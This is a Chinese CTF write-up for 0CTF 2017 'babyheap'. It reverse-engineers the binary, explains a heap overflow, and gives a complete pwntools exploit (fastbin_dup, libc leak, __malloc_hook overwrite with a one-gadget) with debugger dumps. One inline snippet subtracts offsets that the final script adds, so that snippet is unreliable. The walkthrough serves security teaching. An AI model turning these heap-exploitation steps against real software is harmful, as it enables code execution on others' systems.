20.1 0CTF2017 babyheap 题解

文件	类型	分值	描述
babyheap、libc-2.23.so	pwn	255	Let's practice some basic heap techniques in 2017 together!

这是 2017 年 0CTF 资格赛的一道题目，用于考察简单的堆利用技术。

20.1.1 题目复现

看一下程序的基本情况。

```
$ file babyheap
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
$ pwn checksec babyheap
[*] '/home/firmy/0ctf2017_babyheap/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

该二进制文件是一个 64 位的共享目标文件，使用动态链接，并去除了调试符号。保护机制开启了 Full RELRO、Canary、NX 和 PIE。

利用 socat 在后台将其运行起来。根据经验我们知道，这是一个典型的堆利用题目。

```
$ socat tcp4-listen:10001,reuseaddr,fork exec:./babyheap &
$ socat - TCP:localhost:10001
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
```

```
4. Dump
5. Exit
```

20.1.2 程序分析

接下来我们用 IDA 对程序进行逆向分析，首先是 Allocate 部分：

```
void __fastcall sub_D48(__int64 a1)
{
  signed int i; // [rsp+10h] [rbp-10h]
  signed int v2; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(_DWORD *)(0x18LL * i + a1) )            // table[i].in_use
    {
      printf("Size: ");
      v2 = sub_138C();                              // size
      if ( v2 > 0 )
      {
        if ( v2 > 0x1000 )
          v2 = 0x1000;
        v3 = calloc(v2, 1uLL);                      // buf
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(0x18LL * i + a1) = 1;           // table[i].in_use
        *(_QWORD *)(a1 + 0x18LL * i + 8) = v2;      // table[i].size
        *(_QWORD *)(a1 + 0x18LL * i + 0x10) = v3;   // table[i].buf_ptr
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }
}
```

参数 a1 是 sub_B70 函数的返回值，是一个随机生成的内存地址，在该地址上通过 mmap 系统调用开辟了一段内存空间，用于存放最多 16 个结构体，在代码注释里我们暂且称它为 table，每个结构体包含 in_use、size 和 buf_ptr 三个域，分别表示堆块是否在使用、堆块大

小和指向堆块缓冲区的指针。至于这里为什么特意使用了 mmap，我们后面再解释。sub_D48 函数通过遍历找到第一个未被使用的结构体，然后请求读入一个数作为 size，并分配 size 大小的堆块，最后将该结构体更新。需要注意的是这里使用 calloc 而不是 malloc 作为堆块分配函数，意味着所得到的内存空间被初始化为 0。

然后是 Fill 部分：

```
__int64 __fastcall sub_E7F(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();                          // index
  v2 = result;
  if ( (signed int)result >= 0 && (signed int)result <= 15 )
  {
    result = *(unsigned int *)(0x18LL * (signed int)result + a1);
                                                 // table[result].in_use
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = sub_138C();                      // size
      v3 = result;
      if ( (signed int)result > 0 )
      {
        printf("Content: ");
        result = sub_11B2(*(_QWORD *)(0x18LL * v2 + a1 + 0x10), v3);
                                                 // table[v2].buf_ptr, size
      }
    }
  }
  return result;
}
```

该函数首先读入一个数作为 index，找到其对应的结构体并判断该结构体是否被使用，如果是，则读入第二个数作为 size，然后将该结构体的 buf_ptr 域和 size 作为参数调用函数 sub_11B2。

于是我们转到函数 sub_11B2 看一下：

```
unsigned __int64 __fastcall sub_11B2(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 v3; // [rsp+10h] [rbp-10h]
  ssize_t v4; // [rsp+18h] [rbp-8h]

  if ( !a2 )
    return 0LL;
  v3 = 0LL;
  while ( v3 < a2 )
  {
    v4 = read(0, (void *)(v3 + a1), a2 - v3);
    if ( v4 > 0 )
    {
      v3 += v4;
    }
    else if ( *_errno_location() != 11 && *_errno_location() != 4 )
    {
      return v3;
    }
  }
  return v3;
}
```

该函数用于读入 a2 个字符到 a1 地址处。while 的逻辑保证了一定且只能够读入 a2 个字符，但对于得到的字符串是否以'\n'结尾并不关心，这就为信息泄露埋下了隐患。

继续来看下一个部分，Free：

```
__int64 __fastcall sub_F50(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();                          // index
  v2 = result;
  if ( (signed int)result >= 0 && (signed int)result <= 15 )
  {
```

```
    result = *(unsigned int *)(0x18LL * (signed int)result + a1);
                                                // table[result].in_use
    if ( (_DWORD)result == 1 )
    {
      *(_DWORD *)(0x18LL * v2 + a1) = 0;         // table[result].in_use
      *(_QWORD *)(0x18LL * v2 + a1 + 8) = 0LL;   // table[result].size
      free(*(void **)(0x18LL * v2 + a1 + 0x10)); // table[result].buf_ptr
      result = 0x18LL * v2 + a1;
      *(_QWORD *)(result + 0x10) = 0LL;          // table[result].buf_ptr
    }
  }
  return result;
}
```

该函数同样读入一个数作为 index，并找到对应的结构体，释放掉堆块缓冲区，并将全部域清零。

最后一个部分是 Dump：

```
signed int __fastcall sub_1051(__int64 a1)
{
  signed int result; // eax
  signed int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();                          // index
  v2 = result;
  if ( result >= 0 && result <= 15 )
  {
    result = *(_DWORD *)(0x18LL * result + a1); // table[result].in_use
    if ( result == 1 )
    {
      puts("Content: ");
      sub_130F(*(_QWORD *)(0x18LL * v2 + a1 + 0x10), *(_QWORD *)(0x18LL * v2 + a1
+ 8));                                  // table[v2].buf_ptr, table[v2].size
      result = puts(byte_14F1);
    }
  }
  return result;
```

```
}
```

该函数首先对 index 对应的结构体进行判断，如果是被使用的，则调用函数 sub_130F，两个参数分别为结构体的 buf_ptr 和 size 域。

函数 sub_130F 用于将字符串写入到标准输出，其实现方式与用于读入字符串的函数 sub_11B2 类似，严格限制了写出字符串的长度：

```
unsigned __int64 __fastcall sub_130F(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 v3; // [rsp+10h] [rbp-10h]
  ssize_t v4; // [rsp+18h] [rbp-8h]

  v3 = 0LL;
  while ( v3 < a2 )
  {
    v4 = write(1, (const void *)(v3 + a1), a2 - v3);
    if ( v4 > 0 )
    {
      v3 += v4;
    }
    else if ( *_errno_location() != 11 && *_errno_location() != 4 )
    {
      return v3;
    }
  }
  return v3;
}
```

回想一下，整个程序中其实有两个 size，一个是结构体的 size 域，被传递给 calloc 函数作为参数，另一个是字符串长度的 size，被传递给 sub_11B2 函数。由于这两个 size 并没有限制相互之间的大小关系，如果第二个 size 大于第一个 size，将会造成堆缓冲区的溢出。

20.1.3 漏洞利用

根据上面的分析，我们知道程序的漏洞点是 sub_11B2 函数中的堆缓冲区溢出。程序开启了 PIE，所以我们需要泄漏出 libc 的地址，泄漏点在 sub_11B2 函数中；而开启了 Full RELRO，则说明在漏洞利用时，不能通过修改 GOT 表劫持程序的控制流，所以我们考虑使用劫持 malloc hook 函数的方式，触发 one-gadget 得到 shell。

泄漏 libc 的地址可以利用堆块重叠技术来实现，将一个 fast chunk 和一个 small chunk 进行重叠，然后释放掉 small chunk，即可通过打印 fast chunk 的数据得到我们需要的地址。

首先创建 4 个 fast chunk 和 1 个 small chunk，填充上数据以方便观察：

```
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
fill(0, "A"*0x10)
fill(1, "A"*0x10)
fill(2, "A"*0x10)
fill(3, "A"*0x10)
fill(4, "A"*0x80)
```

结果如下所示：

```
gef➤  vmmap heap

Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x
/home/firmy/0ctf2017_babyheap/babyheap
0x0000555555755000 0x0000555555756000 0x0000000000001000 r--
/home/firmy/0ctf2017_babyheap/babyheap
0x0000555555756000 0x0000555555757000 0x0000000000002000 rw-
/home/firmy/0ctf2017_babyheap/babyheap
0x0000555555757000 0x0000555555778000 0x0000000000000000 rw- [heap]

gef➤  x/40gx 0x0000555555757000

0x555555757000: 0x0000000000000000  0x0000000000000021  <- chunk_0
0x555555757010: 0x4141414141414141  0x4141414141414141
0x555555757020: 0x0000000000000000  0x0000000000000021  <- chunk_1
0x555555757030: 0x4141414141414141  0x4141414141414141
0x555555757040: 0x0000000000000000  0x0000000000000021  <- chunk_2
0x555555757050: 0x4141414141414141  0x4141414141414141
0x555555757060: 0x0000000000000000  0x0000000000000021  <- chunk_3
0x555555757070: 0x4141414141414141  0x4141414141414141
0x555555757080: 0x0000000000000000  0x0000000000000091  <- chunk_4
0x555555757090: 0x4141414141414141  0x4141414141414141
```

```
0x5555557570a0: 0x4141414141414141  0x4141414141414141
0x5555557570b0: 0x4141414141414141  0x4141414141414141
0x5555557570c0: 0x4141414141414141  0x4141414141414141
0x5555557570d0: 0x4141414141414141  0x4141414141414141
0x5555557570e0: 0x4141414141414141  0x4141414141414141
0x5555557570f0: 0x4141414141414141  0x4141414141414141
0x555555757100: 0x4141414141414141  0x4141414141414141
0x555555757110: 0x0000000000000000  0x0000000000020ef1  <- top chunk
0x555555757120: 0x0000000000000000  0x0000000000000000
0x555555757130: 0x0000000000000000  0x0000000000000000

gef➤  search-pattern 0x555555757010

[+] Searching '0x555555757010' in memory
[+] In (0xf9781f60000-0xf9781f61000), permission=rw-
  0xf9781f60c00 - 0xf9781f60c18  →   "\x10\x70\x75\x55\x55\x55[...]"

gef➤  x/20gx 0xf9781f60c00-0x10

0xf9781f60bf0:  0x0000000000000001  0x0000000000000010  <- table
0xf9781f60c00:  0x0000555555757010  0x0000000000000001
0xf9781f60c10:  0x0000000000000010  0x0000555555757030
0xf9781f60c20:  0x0000000000000001  0x0000000000000010
0xf9781f60c30:  0x0000555555757050  0x0000000000000001
0xf9781f60c40:  0x0000000000000010  0x0000555555757070
0xf9781f60c50:  0x0000000000000001  0x0000000000000080
0xf9781f60c60:  0x0000555555757090  0x0000000000000000
0xf9781f60c70:  0x0000000000000000  0x0000000000000000
0xf9781f60c80:  0x0000000000000000  0x0000000000000000
```

我们来看虚拟内存映射的布局，第三行表示 bss 段，第四行表示 heap 段，在关闭 ASLR 的情况下，bss 段的末尾地址等于 heap 段的起始地址，而在开启 ASLR 的情况下，这两个地址之间其实是存在一段随机偏移（Random brk offset）的。由于 heap 段的开辟使用了 brk 系统调用，同时页（4KB）是内存分配的最小单位，所以地址的低 3 位总是 0x000。知道这一点对解决该题目有十分关键的作用。

接下来释放掉 chunk_1 和 chunk_2。我们知道 fastbins 是单链表结构，通过 free chunk 的 fd 指针连接起来，所以我们通过堆溢出漏洞修改 chunk_2 的 fd 指针，使其指向 chunk_4，就可以将 small chunk 连接到 fastbins 中，当然还需要把 chunk_4 的 0x91 改成 0x21 以绕过 fastbins 对 chunk 大小的检查，这种技术我们称之为 fastbin_dup。

检查的代码如下所示：

```
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
```

```
  {
    errstr = "malloc(): memory corruption (fast)";
  errout:
    malloc_printerr (check_action, errstr, chunk2mem (victim), av);
    return NULL;
  }
```

```
free(1)
free(2)

payload  = "A"*0x10
payload += p64(0)
payload += p64(0x21)
payload += p64(0)
payload += "A"*8
payload += p64(0)
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)

payload  = "A"*0x10
payload += p64(0)
payload += p64(0x21)
fill(3, payload)
```

思考一下，其实我们并不知道 heap 的地址，因为它是随机的，但是我们知道 heap 段起始地址的低位字节一定是 0x00，从而推测出 chunk_4 的低位字节一定是 0x80。于是我们也可以回答为什么在申请 table 空间的时候使用 mmap 系统调用，而不是 malloc 系列函数，就是为了保证 chunk 是从 heap 的起始地址开始分配。结果如下所示：

```
gef➤  x/40gx 0x0000555555757000

0x555555757000: 0x0000000000000000  0x0000000000000021  <- chunk_0
0x555555757010: 0x4141414141414141  0x4141414141414141
0x555555757020: 0x0000000000000000  0x0000000000000021  <- chunk_1 [free]
0x555555757030: 0x0000000000000000  0x4141414141414141
0x555555757040: 0x0000000000000000  0x0000000000000021  <- chunk_2 [free]
0x555555757050: 0x0000555555757080  0x4141414141414141
0x555555757060: 0x0000000000000000  0x0000000000000021  <- chunk_3
0x555555757070: 0x4141414141414141  0x4141414141414141
```

```
0x555555757080: 0x0000000000000000  0x0000000000000021  <- chunk_4
0x555555757090: 0x4141414141414141  0x4141414141414141
0x5555557570a0: 0x4141414141414141  0x4141414141414141
0x5555557570b0: 0x4141414141414141  0x4141414141414141
0x5555557570c0: 0x4141414141414141  0x4141414141414141
0x5555557570d0: 0x4141414141414141  0x4141414141414141
0x5555557570e0: 0x4141414141414141  0x4141414141414141
0x5555557570f0: 0x4141414141414141  0x4141414141414141
0x555555757100: 0x4141414141414141  0x4141414141414141
0x555555757110: 0x0000000000000000  0x0000000000020ef1
0x555555757120: 0x0000000000000000  0x0000000000000000
0x555555757130: 0x0000000000000000  0x0000000000000000
```

此时我们只需要再次申请空间，根据 fastbins 后进先出的机制，即可在原 chunk_2 的位置创建一个 new_chunk_1，在 chunk_4 的位置创造一个重叠的 new_chunk_2：

```
alloc(0x10)
alloc(0x10)
fill(1, "B"*0x10)
fill(4, "C"*0x80)
fill(2, "D"*0x10)
```

结果如下所示：

```
gef➤  x/40gx 0x0000555555757000
0x555555757000: 0x0000000000000000  0x0000000000000021  <- chunk_0
0x555555757010: 0x4141414141414141  0x4141414141414141
0x555555757020: 0x0000000000000000  0x0000000000000021  <- chunk_1 [free]
0x555555757030: 0x0000000000000000  0x4141414141414141
0x555555757040: 0x0000000000000000  0x0000000000000021  <- new_chunk_1
0x555555757050: 0x4242424242424242  0x4242424242424242
0x555555757060: 0x0000000000000000  0x0000000000000021  <- chunk_3
0x555555757070: 0x4141414141414141  0x4141414141414141
0x555555757080: 0x0000000000000000  0x0000000000000021  <- chunk_4,
new_chunk_2
0x555555757090: 0x4444444444444444  0x4444444444444444
0x5555557570a0: 0x4343434343434343  0x4343434343434343
0x5555557570b0: 0x4343434343434343  0x4343434343434343
0x5555557570c0: 0x4343434343434343  0x4343434343434343
```

```
0x5555557570d0: 0x4343434343434343  0x4343434343434343
0x5555557570e0: 0x4343434343434343  0x4343434343434343
0x5555557570f0: 0x4343434343434343  0x4343434343434343
0x555555757100: 0x4343434343434343  0x4343434343434343
0x555555757110: 0x0000000000000000  0x0000000000020ef1  <- top chunk
0x555555757120: 0x0000000000000000  0x0000000000000000
0x555555757130: 0x0000000000000000  0x0000000000000000

gef➤  x/20gx 0xf9781f60c00-0x10

0xf9781f60bf0:  0x0000000000000001  0x0000000000000010  <- table
0xf9781f60c00:  0x0000555555757010  0x0000000000000001
0xf9781f60c10:  0x0000000000000010  0x0000555555757050
0xf9781f60c20:  0x0000000000000001  0x0000000000000010
0xf9781f60c30:  0x0000555555757090  0x0000000000000001
0xf9781f60c40:  0x0000000000000010  0x0000555555757070
0xf9781f60c50:  0x0000000000000001  0x0000000000000080
0xf9781f60c60:  0x0000555555757090  0x0000000000000000
0xf9781f60c70:  0x0000000000000000  0x0000000000000000
0xf9781f60c80:  0x0000000000000000  0x0000000000000000
```

接下来我们将 chunk_4 的 size 域修改回 0x91，并申请另一个 small chunk 以防止 chunk_4 与 top chunk 合并，这样释放后的 chunk_4 就被放到了 unsorted_bin 中：

```
payload  = "A"*0x10
payload += p64(0)
payload += p64(0x91)
fill(3, payload)

alloc(0x80)

free(4)
```

结果如下所示：

```
gef➤  x/40gx 0x0000555555757000

0x555555757000: 0x0000000000000000  0x0000000000000021  <- chunk_0
0x555555757010: 0x4141414141414141  0x4141414141414141
0x555555757020: 0x0000000000000000  0x0000000000000021  <- chunk_1 [free]
0x555555757030: 0x0000000000000000  0x4141414141414141
```

```
0x555555757040: 0x0000000000000000  0x0000000000000021  <- new_chunk_1
0x555555757050: 0x4242424242424242  0x4242424242424242
0x555555757060: 0x0000000000000000  0x0000000000000021  <- chunk_3
0x555555757070: 0x4141414141414141  0x4141414141414141
0x555555757080: 0x0000000000000000  0x0000000000000091  <- chunk_4 [free],
new_chunk_2
0x555555757090: 0x00007ffff7dd1b78  0x00007ffff7dd1b78      <- fd, bk
0x5555557570a0: 0x4343434343434343  0x4343434343434343
0x5555557570b0: 0x4343434343434343  0x4343434343434343
0x5555557570c0: 0x4343434343434343  0x4343434343434343
0x5555557570d0: 0x4343434343434343  0x4343434343434343
0x5555557570e0: 0x4343434343434343  0x4343434343434343
0x5555557570f0: 0x4343434343434343  0x4343434343434343
0x555555757100: 0x4343434343434343  0x4343434343434343
0x555555757110: 0x0000000000000090  0x0000000000000090
0x555555757120: 0x0000000000000000  0x0000000000000000
0x555555757130: 0x0000000000000000  0x0000000000000000

gef➤  vmmap libc

Start              End                Offset             Perm Path
0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 ---
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r--
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw-
/lib/x86_64-linux-gnu/libc-2.23.so
```

此时被释放的 chunk_4 的 fd, bk 指针均指向 libc 中的地址，只要将其泄漏出来，通过计算即可得到 libc 中的偏移，进而得到 one-gadget 的地址：

```
0x00007ffff7dd1b78 - 0x00007ffff7a0d000 = 0x3c4b78
```

```
leak = u64(dump(2)[:8])
libc = leak - 0x3c4b78        # 0x3c4b78 = leak - libc
__malloc_hook = libc - 0x3c4b10   # readelf -s libc.so.6 | grep __malloc_hook@
one_gadget = libc - 0x4526a
```

__malloc_hook 是一个弱类型的函数指针变量，指向 void * function(size_t size, void * caller)，当调用 malloc 函数时，首先会判断 hook 函数指针是否为空，不为空则调用它。

那么接下来的问题就是如何修改__malloc_hook 使其指向 one-gadget。回想一下制造重叠堆块的方法，这里我们同样可以利用 fastbin_dup 在__malloc_hook 的位置制造 chunk，但由于 fast chunk 的大小只能在 0x20 到 0x80 之间，我们就需要一点小小的技巧，即错位偏移，如下所示：

```
gef➤  x/10gx (long long)(&main_arena)-0x30
0x7ffff7dd1af0: 0x00007ffff7dd0260  0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>:   0x00007ffff7a92e20  0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000  0x0000000000000000  <-
target
0x7ffff7dd1b20 <main_arena>:    0x0000000000000000  0x4141414141414141
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000  0x0000000000000000
gef➤  x/10gx (long long)(&main_arena)-0x30+0xd
0x7ffff7dd1afd: 0xfff7a92e20000000  0xfff7a92a0000007f  <- fake chunk
0x7ffff7dd1b0d: 0x000000000000007f  0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000  0x4141414141000000
0x7ffff7dd1b2d: 0x0000000000414141  0x0000000000000000
0x7ffff7dd1b3d: 0x0000000000000000  0x0000000000000000
```

所以我们先将一个 fast chunk 放进 fastbins，修改其 fd 指针指向 fake chunk。然后将 fake chunk 分配出来，进而修改其数据为 one-gadget：

```
alloc(0x60)
free(4)

payload = p64(libc + 0x3c4afd)
fill(2, payload)

alloc(0x60)
alloc(0x60)

payload  = p8(0)*3
payload += p64(one_gadget)
fill(6, payload)
```

结果如下所示：

```
gef➤  x/10gx (long long)(&main_arena)-0x30
```

```
0x7ffff7dd1af0: 0x00007ffff7dd0260  0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>:   0x00007ffff7a92e20  0x000000fff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x00007ffff7a5226a  0x0000000000000000
0x7ffff7dd1b20 <main_arena>:    0x0000000000000000  0x4141414141414141
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000  0x0000000000000000
```

最后，只要调用 calloc 触发 hook 函数，即可执行 one-gadget 获得 shell。

```
alloc(1)
io.interactive()
```

```
$ python exp.py
[+] Opening connection to 0.0.0.0 on port 10001: Done
[*] leak => 0x7f48a2478b78
[*] libc => 0x7f48a20b4000
[*] __malloc_hook => 0x7f48a2478b10
[*] one_gadget => 0x7f48a20f926a
[*] Switching to interactive mode
$ echo bingo!!!
bingo!!!
```

20.1.4 解题代码

```
# -*- coding: utf-8 -*-

from pwn import *

io = remote('0.0.0.0', 10001)
# io = process('./babyheap')

def alloc(size):
    io.recvuntil("Command: ")
    io.sendline('1')
    io.recvuntil("Size: ")
    io.sendline(str(size))

def fill(idx, cont):
    io.recvuntil("Command: ")
    io.sendline('2')
```

```
    io.recvuntil("Index: ")
    io.sendline(str(idx))
    io.recvuntil("Size: ")
    io.sendline(str(len(cont)))
    io.recvuntil("Content: ")
    io.send(cont)

def free(idx):
    io.recvuntil("Command: ")
    io.sendline('3')
    io.recvuntil("Index: ")
    io.sendline(str(idx))

def dump(idx):
    io.recvuntil("Command: ")
    io.sendline('4')
    io.recvuntil("Index: ")
    io.sendline(str(idx))
    io.recvuntil("Content: \n")
    data = io.recvline()
    return data

alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
fill(0, "A"*0x10)
fill(1, "A"*0x10)
fill(2, "A"*0x10)
fill(3, "A"*0x10)
fill(4, "A"*0x80)

free(1)
free(2)

payload  = "A"*0x10
payload += p64(0)
payload += p64(0x21)
payload += p64(0)
```

```
payload += "A"*8
payload += p64(0)
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)

payload  = "A"*0x10
payload += p64(0)
payload += p64(0x21)
fill(3, payload)

alloc(0x10)
alloc(0x10)
fill(1, "B"*0x10)
fill(4, "C"*0x80)
fill(2, "D"*0x10)

payload  = "A"*0x10
payload += p64(0)
payload += p64(0x91)
fill(3, payload)

alloc(0x80)

free(4)

leak = u64(dump(2)[:8])
libc = leak - 0x3c4b78        # 0x3c4b78 = leak - libc
__malloc_hook = libc + 0x3c4b10   # readelf -s libc.so.6 | grep __malloc_hook@
one_gadget = libc + 0x4526a
log.info("leak => 0x%x" % leak)
log.info("libc => 0x%x" % libc)
log.info("__malloc_hook => 0x%x" % __malloc_hook)
log.info("one_gadget => 0x%x" % one_gadget)

alloc(0x60)
free(4)

payload = p64(libc + 0x3c4afd)
fill(2, payload)
```

```
alloc(0x60)
alloc(0x60)

payload  = p8(0)*3
payload += p64(one_gadget)
fill(6, payload)

alloc(1)
io.interactive()
```